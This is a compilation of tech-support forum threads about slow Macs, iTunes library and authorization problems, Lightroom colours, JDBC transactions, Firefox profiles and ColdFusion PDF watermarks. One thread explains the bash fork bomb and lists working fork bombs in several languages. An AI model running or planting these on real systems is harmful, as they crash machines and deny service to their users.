Why does onyx make my computer funkier?!?

I was having problems with a slow computer and I was told to run onyx. I ran the weekly scripts and also had it verify and repair permissions (whatever that means) Then when I tried to restart it the darwin screen came up. I didn't know what to do so I hit escape. Seemingly it was on it's merry way to rebooting until it got to the blue screen that you get right before the usernames come up and it just stopped there. What should I do?!

Exactly why I tell everyone to backup before using any such utilities. Onyx is basically useful as a troubleshooter. It should never be used for general maintenance. Is your data backed up from prior to this event?

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Why does it say my computer is not authorized for apps installed my iPhone?

Why does this happen occasionally?
I just got home and sat down at my computer to work and plugged in my iPhone to charge and I got this nonsense message (and this has happened a few times in the past)
So I clicked on authorize and entered my apple ID. Then it gives me this message that makes me say "Duh!" (I've had this phone for over a year, plugging it into my computer every day, including earlier today just fine)
But the worst thing is that after I click OK on that message, it gives me the first message again! I'm forced to click on Don't Authorize or go around in an endless circle.
Please tell me what's going on . . . ?

I'm using OS X version 10.10.1
In my phone settings it says Version 8.1.2
Maybe there's some confusion because when I bought this iMac in 2011 the only other Apple device we already owned was my daughter's iPod, and we have plugged it in to this machine. But definitely by the time I got my iPhone in November 2013 I created my own Apple ID. There was great confusion at that time because of having two Apple IDs and I'm still confused.
But right now I have a worse problem so I'll be moving to my other thread (in which I wondered whether it's possible to revert to an older OS).

Why does this make *nix crash ?

why does
:(){ :|:& };:
make my system crash ?
* Don`t try it if you don`t want to crash your box

:(){:|:&};:
can also be viewed as
function(){
function|function&
Does this look more familiar? It's basically a standard bash function. The code you posted, called a forkbomb, creates a bash function called ":" which calls itself recursively twice through a pipe and sends the recursion call to the background. Basically, this causes the process to fork (or split) itself forever. This creates a huge number of processes which overrun your CPU, causing your precious computer to freeze/crash/whatever.
Sending the second function call to the background causes the calling function to not wait until the call returns. Since there is no stop condition for this recursion, the function would wait forever allowing you to kill it and all its children with ^C. Since the recursion call is running in the background, the calling function will complete immediately making it damn near impossible to kill its child processes.
So why call it twice? Because of the recursive call in the background, the calling process dies as soon as it makes the recursive call. Hence, if we only call it once it will always have one process replacing its parent, defeating the purpose of a forkbomb.
What's the point? It's a denial of service attack, plain and simple.
Various other type of forkbombs...
Windows
%0|%0
-or-
:s
start %0
%0|%0
goto :s
Perl
fork while fork
Haskell
import Control.Monad
import System.Posix.Process
forkBomb = forever $ forkProcess forkBomb
Python
import os
while True:
os.fork()
Ruby
loop { fork }
C/C++
#include <unistd.h>
int main(void)
while(1)
fork();
return 0;
NASM
section .text
global _start ;Call start
_start:
push byte 2 ;syscall to Linux fork
pop eax ;set EAX argument for fork to NULL [So it works in strings]
int 0x80 ;Execute syscall with fork & the EAX [null, above] argument
jmp short _start ;Go back to beginning, causing a fork bomb
Lisp
(defmacro wabbit () ;; A program that writes code.
(let ((fname (gentemp 'INET)))
`(progn
(defun ,fname () ;; Generate.
nil)
(wabbit))))
(wabbit) ;; Start multiplying.
* Disclaimer: It's not my fault if you fuck up your system trying these out.
** Edit: Wow... in the time it took me to write that up a crapload of people answered the question... oh well.
Last edited by Ghost1227 (2009-06-21 14:02:55)

Pre "Rendering Preview" colours are better - why does LR make it worse?

Hi guys
When I upload a photo for the first time and then view its larger preview for the first time. When lightroom is generating its preview, it takes a second to generate it. When it generates the preview, the colours that it generates arn't as good as the first image of the photo you see. The photo changes colour after its generating the larger preview... and the generated colours are not as good.
Why does this occur. In all cases the colour of the photo prior to the preview being rendered are better than the colours once it has finished generating.
Cheers
Anthony

Anthony
Ok cool that makes sense... If I didn't take the photo in landscape mode or anything like that, do I just shift it back to "Camera Faithful"...
Yes and No. The profile is not chosen based on what you were shooting with (this only affects your JPGs), but based on the default, which is Adobe Standard (see also below). But switching it gives you another point to start your editing on.
Also I have a fair few photos that I would like to change back from "Adobe Standard" to "Camera Faithful" is there any way to do this on mass?
1) To change multiple photos to a specific profile:
In Develop:
Set one photo to the desired profile
Select all additional images to have the same profile in the film strip (Shift+Click or Ctrl+Click)
Press Sync...
Deselect all settings but Calibration
Hit Synchronize
2) To make a certain profile default for all imports for a specific camera type:
Set one photo to the desired profile (do not alter any other parameters, as they will be set as default also)
Press Alt and click on Set Default ...
Hit Update to Current Settings
Note: The Defaults set this way are valid for imports for a specific Camera Model, limited to a Camera Serial-No. and/or ISO Setting, depending on your settings in Preferences/Presets.
Lastly, are the colour profiles better in LR 3...
Somebody else will have to answer for this question, I think they are basically the same, but the underlying algorithm has been vastly improved. Btw, "better" is a generally a bad word when refering to camera profiles. You'll find lots of posts here regarding this subject, e.g. here.
Beat Gossweiler
Switzerland
Message was edited by: b_gossweiler

Why does JDBC make me commit a query?

I was working with two DB2 database connections, A and B, and performed the following logic:
Turned off AutoCommit for A and B
Updated A
Updated B
Committted A
Rolled back B
Selected from A
Selected from B
Updated A
Committed A
Closed Connection A
Closed Connection B
Everything worked well until I tried to close Connection B. It threw a SQL Exception with the description "invalid transaction state". I read online that this means you are trying to close a connection with uncommitted data. It didn't make sense because the only thing I had done since rolling back was SELECT. When I tried it with a rollback or commit immediately before closing the connection, it worked. Any ideas why it would make me commit a SELECT? Is this just an unintended bug or could they have implemented it like this on purpose?

I also first was wondering why a select should be committed.
But also a select can cause locks that influence other connections. How, depends on the isolation level you set. For example SERIALIZABLE would block inserts by another connection that would change your retrieval in case you repeat it.
To make the DBMS know that after your retrieval your processing of these data is done - no changes following - you must end the transaction by commit (or rollback - would be the same here since you've done no changes).

Why does my ipod and computer hate me?

Okay, i spent 2 weeks trying to get my ipod music INTO my itunes library. It worked! I was happy, lahdeedahdeedah. Then (of course) my computer crashed and i have had to get it reformated again. I kept all the papers that helped me get my ipod music into itunes from the last time, and i thought id just try to do it again! But it turns out, nothing will work! I think the problem lies in "My Computer". There is no "F" file ( where the ipod was) anymore! Putting the ipod into disk mode, does nothing in "My Computer". When the guy reformatted he must have erased my "F" file or something! I am at my wits end, please help if you can.
Chels'

As soon as I get back to school I got a virus and everything was gone. I thought I could do the same thing and use my ipod as a hard drive well at first I thought it was working and then my music disapeared. Now it isn't showing up on itunes or my ipod!!!! Am I a lost cause???? I even used a gift card to purchase $25 worth of songs can I still get those back because it is saying that I can't download them again. I AM NOT paying that money again. HELP PLEASE!!

Why does Adobe make computer deactivation so unintuitive and hard to find?

In these forums, it is very easy to find many users submitting questions about how to deactivate one computer and then activate another, but there are very, very few straight answers, if any. The suggestion that "Deactivate" should be selected from the "Help" menu seems no longer to be applicable, as there is no "Deactivate" option displayed in my Photoshop CC 14.2.1 "Help" menu.
Why not post up high and easy to find, "Deactivate: Here's how"?

For what it's worth, I sympathize.
An Adobe Help doc for activation procedures is at Activation & Deactivation Help
But I don't see that many people pointing to it in these forums - or even much evidence that people are aware of it.

Why does iTunes make a mess out of my TV Shows library?

I'm not really sure where to post this, as it doesn't seem like Apple pays much attention to the official Apple Support Forums, but I'll give it a go nontheless.
The thing is, as most Apple TV owners I have to rely on iTunes for handling my media library in order to get it working towards my Apple TV (currently an Apple TV 3rd Generation, Rev A) which is perfectly fine. I find iTunes to be very well organised and owning several OS X systems, only using iOS devices and everything my music library already consists of only ALAC (Apple Lossless) music tracks and I like to keep all my audio books in M4B (AAC) simply because it’s much better organized this way. As long as all the metadata is done right one can’t really complain about how iTunes is doing things other than the Windows version being rather slow when you start filling it up with content, the OS X version is vastly superior in terms of performance and overall stability but I guess that is to be expected.
I have absolutely no problems with my ALAC (Apple Lossless) music library, no matter how many tracks I add they are all there, with the correct metadata and everything. Same goes for my audio book library, the only ones being somewhat troublesome are those I’ve got in MP3 format instead of M4B (AAC) as they get automatically listed as music instead of audio books, but that’s fixed within a matter of seconds just marking them as audio book in iTunes metadata. My movie library, which used to consists of loads of self-ripped Blu-Rays encoded to MKV’s with either Dolby Digital 5.1 or DTS 5.1 is now repacked into M4V / MP4 containing Dolby Digital 5.1 (AC-3) and with the help of metadata downloaded from IMDB they are all listed correctly with the correct metadata, so all is good and dandy.
But when it comes to TV-Shows things starts to get messy. We are still talking about only M4V / MP4 files containing mostly Dolby Digital 5.1 (AC-3) audio tracks, and a few containing 2.0 AAC audio tracks. The problem is iTunes is making a complete mess out of things, no matter what I do.
Some TV-shows are added and shown correctly in my iTunes library, others are just not working out at all! Take my six seasons of LOST for instance.
I tried to redo the metadata on the first six episodes of season 06, but they just won’t show no matter what I do. The weirdest thing with these episodes is that when I manually play the M4V files using iTunes, iTunes recognise them as LOST Season 02 episodes and not Season 03 episodes. So LOST Season 03 - Episode 01 which is "01. A Tale of Two Cities" is shown as LOST Season 02 - Episode 10 which is "10. The 23rd Psalm". That's quite odd, which was the reason why I went ahead and rework the metadata of these episodes just to be sure.
But still it won’t show in the iTunes library and when manually opening the M4V files with iTunes it still shown as being "10. The 23rd Psalm" instead of "01. A Tale of Two Cities". If I open the file with QuickTime Player, Windows Media Player or Media Player Classic Home Cinema they all list it as "01. A Tale of Two Cities" and not "10. The 23rd Psalm" as iTunes does. Watching the playback is making quite clear it's indeed playing back A Tale of Two Cities and not The 23rd Pslam episodes, even in iTunes.
I have no clues why iTunes is making a mess out of the first six episodes of LOST Season 03, it really doesn't make much sense as there is nothing with the M4V files, their contains or their metadata that points towards iTunes recognising it as a LOST Season 2 episode at all.
Just to confirm the metadata in iTunes I tried to remove the whole LOST series from my library and went ahead and added ONLY the first six episodes of Season 03 and nothing else. Then they are showing correctly, with the correct metadata for each and every episode.
But upon adding the rest of the bunch they disappear and suddenly iTunes starts mixing the first six episodes of Season 03 as Season 02 episodes...
As soon as I add any episode of LOST Season 02, 10-15 they seem to replace LOST Season 03, 1-6. So Season 03 is working perfectly, having all the right metadata and everything but as soon as I add LOST Season 02, Episode 10, LOST Season 03, Episode 01 starts playing as LOST Season 02, Episode 10 and then disappears from the library. Upon adding and playing back LOST Season 02, Episode 11 it replaces LOST Season 03, Episode 02 which then disappears from the library and this goes on for episode 10-15 of Season 02 which for some reason replaces episode 01-06 of Season 03.
This isn’t isolated to only LOST, same goes for a few of my House M.D season whereas iTunes is starting make a mess of things mixing metadata of Season 3 with metadata of Season 4 for no obvious reason. This is quite frustrating as this renders my Apple TV quite useless when iTunes is not capable of handling my media library correctly.
Several episodes are missing in quite a few of my various TV Shows as well, some requires me to manually open the M4V / MP4 while browsing my library for it to get listed as it’s not being added while adding the folder to my library.
This has been going on ever since iTunes 10.X, and it’s behaving like this on all my system it being Windows 7, Windows 8, OS X Mountain Lion or OS X Mavericks. Surely something has to be done in order to solve this? There is nothing wrong with my M4V / MP4 files as I’ve re-ripped them, re-encoded them, re-done their metadata and everything without any luck and consider it only happens with various TV shows and not with my music, audio book nor my movie library I see nothing pointing at it being a problem with my content but rather iTunes making it all fuzzy for no apparent reason.

Seems like I actually figured out what was going on.. When I re-do my MKV's into MP4 / M4V's applications like Subler, MKVtoMP4 and other toolkits are grabbing metadata from servers like IMDB.
Upon retrieving metadata they also grab something called "XID" which is supposedly Apple's very own iTunes specific ID or serial if you like for each specific TV show available through the iTunes Store. This seems to be causing the problems with missing episodes and episodes starting to playback as a different episode from another season.
I always wondered why House Season 04 - Episode 01 - "Alone" always got played back as House Season 03 - Episode 11 - "Words of Deeds". It was always the exact same mix-up each and every time. iTunes never seems to mix-up anything other than the same specific episodes each and every time, and all the missing episodes are always the same ones, from the same TV show, from the very same season. I always found that a bit strange as I would expect library mix-ups from iTunes to be somewhat random and not consistent like this.
So I tried to simply tried something completely random, renaming House Season 04 - Episode 01 - "Alone" into "RARW Season 11 - Episode 42 - "Come at me bro"" and House Season 03 - Episode 11 - "Words of Deeds" into "TESTING Season 04 - Episode 05 - "Testing this"" and it will still do the same, now my randomly generated metadata of "RARW Season 11 - Episode 42 - "Come at me bro"" was played back as "TESTING Season 04 - Episode 05 - "Testing this"". So it clearly had nothing to do with whatever metadata I added to the video within iTunes, it would continuously mix-up the very same episode no matter what.
So then I grab my toolkit to see what kind of information was garter from IMDB's database to see if I could spot anything weird going on? I didn't really see anything, but I noticed the XID with it's "Apple:vendor_id:2003-tt0367279" input, so even though these two episodes had different XIDs I tried to simply input my very own like "House Season 03" and "House Season 04" and then all of sudden everything worked out perfectly.
I'm not entirely sure whos to blame here. As the XID was indeed different I see no reason why iTunes should confuse one for the other in the first place, perhaps there is something fuzzy with the iTunes database or something. I don't really care though, I see no value in having the "correct" XID as long as my iTunes library is showing and playing back everything correctly so now I have just went ahead and re-done ALL my XID's of every TV Show to have their very own for each season just to make sure nothing like this ever happens again.

Why Oh Why does Apple make it so hard to get an simple answer on something-

My main complaint is that Apple seems to go out of its way to put everything in categories for support help, and makes it very difficult to access a simple email access to support techs for questions that are not listed. Most recent example:
I purchased my first Mac in about 25 years this past September (now realize that I should have stayed with Apple after I bought the original Apple computer and later "upgraded" to an Apple IIC - HA!) - and yes, I should have bought the Apple care assistance but with all the travel I do it would have been very difficult to schedule time. Anyway...
All I want to know right now is that I bought my Mac Pro in early September only to find out that if I bought it in later October, I'd be eligible for an upgrade to Snow Leopard for only $7. But since I bought it in September, does that mean I have to pay the full $149 for upgrading to both Snow Leopard and iLife? Or since I'm such a recent customer that there would be other options?
Anyone have any ideas? Or at least could help me find a way to email someone at Apple to get an answer?
Thanks!!

My main complaint is that Apple \[...] makes it very difficult to access a simple email access to support techs
Apple doesn't do support via e-mail. Personally, I think that's a reasonable choice, but discussing Apple policy here is strictly against the [terms of use of these forums|http://discussions.apple.com/help.jspa#terms], and thus may be enough to get your post removed.
I bought my Mac Pro in early September only to find out that if I bought it in later October, I'd be eligible for an upgrade to Snow Leopard for only $7.
If you bought your machine in September of +this year+, then it should have had SL on it already. If you bought in September of +last year+, then you would have been eligible to upgrade for $100 (don't know where you heard $7). The dates of purchase for eligible machines were June 8 to December 26, in 2009. Dunno where you got October from. Sounds like whatever source you got that information from was not a good one.
Of course, this is probably all moot now. I doubt that the Up-to-Date program is still going, since the release of SL was more than a year ago.

Why does firefox makes multiple profiles

My name is Mike from the helpdesk of YER.
We have one user with the same problem over and over again.
Our employees have a roaming profile with multiple browsers, but he uses Firefox wich is causing a problem.
There is a datalimit on our user profiles. The problem is that Firefox uses all the space from the user profile.
This causes a storage space error every two days.
To solve it, I open Firefox profile manager, multiple profiles are visible. So I delete the non-used profiles. But this is temporarily, because within a few days, the user contacts us with the same problem.
I also tried to move the profile to his documents with the profile manager to free space, also this didn't solve the problem because Firefox makes new profiles over and over again.
This user is the only one with this problem, and we cannot find a solution.
We thought maybe it has something to do with synchronisation between multiple devices, but he only uses his Firefox profile on his work computer.
I hope you can help me solving this problem. Maybe you can explain why Firefox is creating multiple profiles, or maybe we can change the Firefox profile path, for all the profiles incl. new ones that are created.
Thank you!

I also have been having this problem for way to long to the point I have removed Firefox so many times and have even completely wiped my computer out and did a factory full restore (which I am still upset about) .. NOW again i delete FIREFOX ... I go thru the computer ..hidden files and all and totally delete any and every thing the is related to Mozilla and Firefox.. including the OLD Firefox file it creates even if you do a reset... Now I have two issues.. when you restore a system,, you are given a complete NEW user profile,,, thanks to Firefox pulling from what must be your records.. EVERY past user ID that this computer ever had is back on my system and has permissions on important files under UNKNOWN USER.. and firefox has created tons of dupt files.. example ...I ran to see why system again was slow CCleaner disk analyzer and wow there is over 85,000 files created by Firefox which include duplicating all program files and over (I stopped counting after a certain number) thousands of c:\users\Robie\AppData\local\mozilla\firefox\profile\...\cache2 files every 4 minutes for since i reloaded.. and all system files (only important ones) and links to the old profiles that were infected and/or corrupt over 84k of this ...these are just under the OTHER catagory.. WHY is this repeating over and over

Why Does iTunes Make Combining Songs Into a Single Album So Difficult?

Can anyone explain, or refer me to a website, that explains and lists in a "1,2,3" manner the illogic of the iTunes "get info" panes and why iTunes splits, combines and erases data depending upon what you put in the "get info" area. I have looked at many websites with suggestions and some work and some don't. The frustration I have is that I cannot decipher the logic of what iTunes is doing. Some comments and examples:
1. I thought it was convention when you highlight multiple anythings, and specify a change, this change is done on all highlighted things. For example, when I want to combine several songs into a single album, highlight them all and fill in information in the "get info area", sometimes it combines, sometimes it splits the songs, sometimes it erases the artwork. Even when I specify "part of a compilation".
2. Sometimes when I add "various artists", it combines the various highlighted songs but then erases the artwork.
3. One would think that when you specify any songs as "part of a compilation" that would automatically force these songs into a single album. Sometimes iTunes does, and sometime it does not.
4. Even when I think I have entered exactly the same information there apparently is something different. It has taken me up to 15 minutes first of very careful checking of spelling, spacing, etc. then just totally randomly changing something before I can get songs together.
5. Why isn't there just a very simple button that says something like: "no matter what, force the highlighted songs into a single album? Is there any way to simply and easily force songs together into a single album no matter what is in the individual "get info" areas?
Anyway, you get the idea. Surely there is some set of rules or logic that I am totally missing. Thanks.

Thanks, that was extremely helpful but unfortunately this very well laid out website confirms the fact that this is a very un-Apple-like interface that is confusing, contradictory and extremely difficult to use. Not sure if anyone from Apple reads these threads, but in the next version they need to do an extremely serious remake. I think this part of the interface must have been designed by refugees from the PC camp who somehow got hired by Apple!
Thanks again.

Why does Firefox comsume my computer when in Yahoo Mail

For the past week, something is effecting Firefox when in Yahoo Mail. It does not happen at any other web site.
# I do not allow automatic updates of any kind. No changes or additions (unless sneaky stealth attacks?) had been made to Firefox since update to version 12 in May. The only add-on I have is the Mozilla Archive Format, which I've been using for years.
# Windows and various security applications are up-to-date as of very recently.
# Several up-to-date anti-malware programs have found nothing on my computer.
# I tried Chrome and Opera. They do not have this problem, but I don't like either of them.
# I uninstalled Firefox, deleted everything related I could find, downloaded the current version (13) from Mozilla, installed, and rebuilt all my preferences. I got my bookmarks back by restoring from a bookmark backup. This changed nothing.
# I tried "Restart With Add-ons Disabled" in Firefox, but that did not help.
Firefox starts doing something very intensive once in Yahoo Mail. Sometimes it is in this state when it displays the first screen of mail boxes after I sign on. More often I can do a little bit of something, such as open a mail box or a single e-mail therein before the problem starts. From my perspective it starts this aberrant behavior just when I click on the next thing: open another e-mail; open a different mail box; delete an e-mail.
Normally while in Yahoo Mail, or at any other web site, Task Manager reports CUP usage at from 0% to 5%, occasionally a few percent more for a very brief flash. When this Yahoo Mail thing starts
# The CPU usage jumps to 25%, with occasional bursts up to 30+%. Task Manger shows it is due to the process firefox.exe*32.
# The browser will not respond to any controls. I can do nothing with the keyboard or mouse. No menu will open. This has never ended by itself.
# Task Manager reports the immediate drop of network activity to zero -- nothing going on over the phone line -- or so Windows thinks. Disconnecting the phone line does not release the browser or lower its CPU use.
# A few times the entire computer has locked. I have only been able to get out of it with the hardware reset button.
# Sometimes Firefox is totally unresponsive itself but I can cancel it via Task Manager.
# Sometimes the one and only thing in Firefox that responds is the "X" in the upper right hand corner. The browser screen disappears immediately.
# BUT, Task Manager shows the process firefox.exe*32 still running at 25% CPU. I can end said process with Task Manager, whereby CPU usage immediately drops to 0%, or somewhere close.
# Whatever is going on through Firefox prevents me from doing what I want -- and it seems probable that IT is doing something I don't want done, although I have not yet seen symptoms of that.
Where can I go from here?

Hi,
You can consider the [https://support.mozilla.org/en-US/kb/reset-firefox-easily-fix-most-problems Reset Firefox] feature via '''Help''' ('''Alt''' + '''H''') > '''Troubleshooting Information'''. If it is okay, you can then install the Mozilla Archive Format add-on.
If you have security software installed you can try to delete all existing entries for Firefox and its sub processes in the different configuration modules and try to fully trust/allow Firefox afresh. Even after network access is completed, Firefox would still need unlimited access to its disk cache/memory as well as its files. Please see [https://support.mozilla.org/en-US/kb/Firewalls this].
[http://kb.mozillazine.org/Firewalls AV/Firewall Configuration]

Why does AddWatermark make file so big?

I have created a 600 x 253 72 dpi gif file. It is only 36kb in size. When I take a 7 page 220kb PDF file and do a cfpdf action="addwatermark" to the file, it grows from 220kb to a whopping 1.3 MB!
Strangely enough, if I open the same file in Adobe Acrobat Professional and manually add the exact same gif file as a watermark to the exact same PDF file, the result file actually got SMALLER!?!?!
You don't believe me? Try it yourself.
Image file: https://www.calcerts.com/images/logo_main_watermark_color.gif
Original PDF: https://www.calcerts.com/BB4031.pdf
PDF File after doing a simple addwatermark: https://www.calcerts.com/BB4031_WTF.pdf
PDF File if I add the image as a watermark in Adobe Acrobat Professional 8: https://www.calcerts.com/BB4031_AdobeWatermarked.pdf
The code I used was this:
<cfpdf action="addwatermark"
source="d:\BB4031.pdf"
destination="d:\BB4031_WTF.pdf"
image="D:\images\logo_main_watermark_color.gif"
opacity = 2
foreground = "yes"
rotation = 0
showonprint = "yes"
overwrite="yes"
position = "0,250"
>

rotflmao!!!
ok, Qui-Gon..... Teach a man to fish, and that sort of thing, right?
I found the Page Number footer code in the CFC, did not think to look there. I thought it would have been in the CFM. So that's done, thanks.
I added (and modified) the footer info into the Watermark example:
--WATERMARK CODE WORKS, SO I WON'T WASTE YOUR TIME POSTING THAT--
//add the javaloader dynamic proxy library (and my iText jar) to the javaloader
libpaths = [];
arrayAppend(libpaths, expandPath("/CustCFX/javaLoader/support/cfcdynamicproxy/lib/cfcdynamicproxy.jar"));
arrayAppend(libpaths, expandPath("/CustCFX/javaLoader/itext/iText-2.1.7.jar") );
//we HAVE to load the ColdFusion class path to use the dynamic proxy, as it uses ColdFusion's classes
loader = createObject("component", "CustCFX.javaLoader.JavaLoader").init(loadPaths=libpaths, loadColdFusionClassPath=true);
//initialize the building blocks used by the custom page handler
textColor = loader.create("java.awt.Color").decode( "##000000" );
BaseFont = loader.create("com.lowagie.text.pdf.BaseFont");
textFont = BaseFont.createFont(BaseFont.COURIER, BaseFont.WINANSI, BaseFont.EMBEDDED);
//intialize the page event handler component
eventHandler = createObject("component", "CustCFX.betterPdfPageEventHandler.PdfPageEventHandler").init( font=textFont, fontSize=8, textColor=textColor);
eventHandler.setFooterText( "My Cool Footer - The Force is with ME!!!");
//we can pass in an array of strings which name all the interfaces we want out dynamic proxy to implement
interfaces = ["com.lowagie.text.pdf.PdfPageEvent"];
//get a reference to the dynamic proxy class
CFCDynamicProxy = loader.create("com.compoundtheory.coldfusion.cfc.CFCDynamicProxy");
// create a proxy that we will pass to the iText writer
eventHandlerProxy = CFCDynamicProxy.createInstance(eventHandler, interfaces);
// adding content to each page
i = 0;
while (i LT totalPages) {
   i = i + 1;
   // Prepare to place image on OVERcontent
   content = pdfStamper.getOverContent( javacast("int", i) );
   // Only needed if you are changing the opacity, blending, etcetera ..
   content.setGState(gState);
   // Center the watermark. Note - using deprecated methods for CF8/iText 1.4 compatability
   rectangle = pdfStamper.getReader().getPageSizeWithRotation( javacast("int", i) );
   x = rectangle.left() + (rectangle.width() - img.plainWidth()) / 2;
   y = rectangle.bottom() + (rectangle.height() - img.plainHeight()) / 2;
   img.setAbsolutePosition(x, y);
   content.addImage(img);
   content.saveState();
   content.beginText();
   NOW WHAT?!?!
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Many Thanks
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How to back up and restore:http://support.apple.com/kb/HT1414
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